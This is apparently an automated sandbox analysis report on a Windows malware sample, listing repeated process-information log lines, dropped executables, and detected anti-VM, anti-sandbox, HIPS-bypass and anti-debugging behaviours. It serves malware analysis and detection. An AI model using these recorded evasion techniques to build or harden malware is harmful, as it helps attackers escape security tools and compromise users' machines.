Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match

File source: Process Memory Space: 5D4.exe PID: 5344, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 97A5.exe, 00000014.00000002.368885108.00000000004D9000.00000004.00000020.sdmp, 192F.exe, 0000001D.00000002.419614740.000000000321A000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Renames NTDLL to bypass HIPS

Show sources

Source: C:\Users\user\AppData\Local\Temp\192F.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior

Source: C:\Windows\explorer.exe TID: 4672	Thread sleep count: 576 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3008	Thread sleep count: 184 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5672	Thread sleep count: 258 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6524	Thread sleep count: 344 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6512	Thread sleep count: 95 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6520	Thread sleep count: 144 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3828	Thread sleep count: 311 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5796	Thread sleep count: 77 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\32BC.exe TID: 6624	Thread sleep time: -90000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6744	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 576	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5595
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2723

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\75B0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\86B8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8746.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8E8B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\89D7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7428.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\6DDE.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\192F.exe

Code function: 29_2_6A946B90 rdtsc

29_2_6A946B90

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: explorer.exe, 00000007.00000000.286192637.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000007.00000000.286192637.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000007.00000000.302034474.0000000008C73000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.301288378.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.301288378.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: explorer.exe, 00000007.00000000.281934992.00000000048E0000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.270521490.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
Source: explorer.exe, 00000007.00000000.301288378.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
Source: explorer.exe, 00000007.00000000.270521490.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000007.00000000.296961123.00000000069DA000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD002
Source: AdvancedRun.exe, 0000002A.00000002.494181317.0000000000799000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: explorer.exe, 00000007.00000000.264799560.0000000000F73000.00000004.00000020.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}osoft S
Source: AdvancedRun.exe, 0000002A.00000002.494181317.0000000000799000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

0_2_004267E0

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 0_2_02E0E36A push dword ptr fs:[00000030h]	0_2_02E0E36A
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 19_2_02E7D4F2 push dword ptr fs:[00000030h]	19_2_02E7D4F2
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 22_2_02C70042 push dword ptr fs:[00000030h]	22_2_02C70042
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D294 mov eax, dword ptr fs:[00000030h]	29_2_6A94D294
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D294 mov eax, dword ptr fs:[00000030h]	29_2_6A94D294
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DA88 mov eax, dword ptr fs:[00000030h]	29_2_6A94DA88
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DA88 mov eax, dword ptr fs:[00000030h]	29_2_6A94DA88
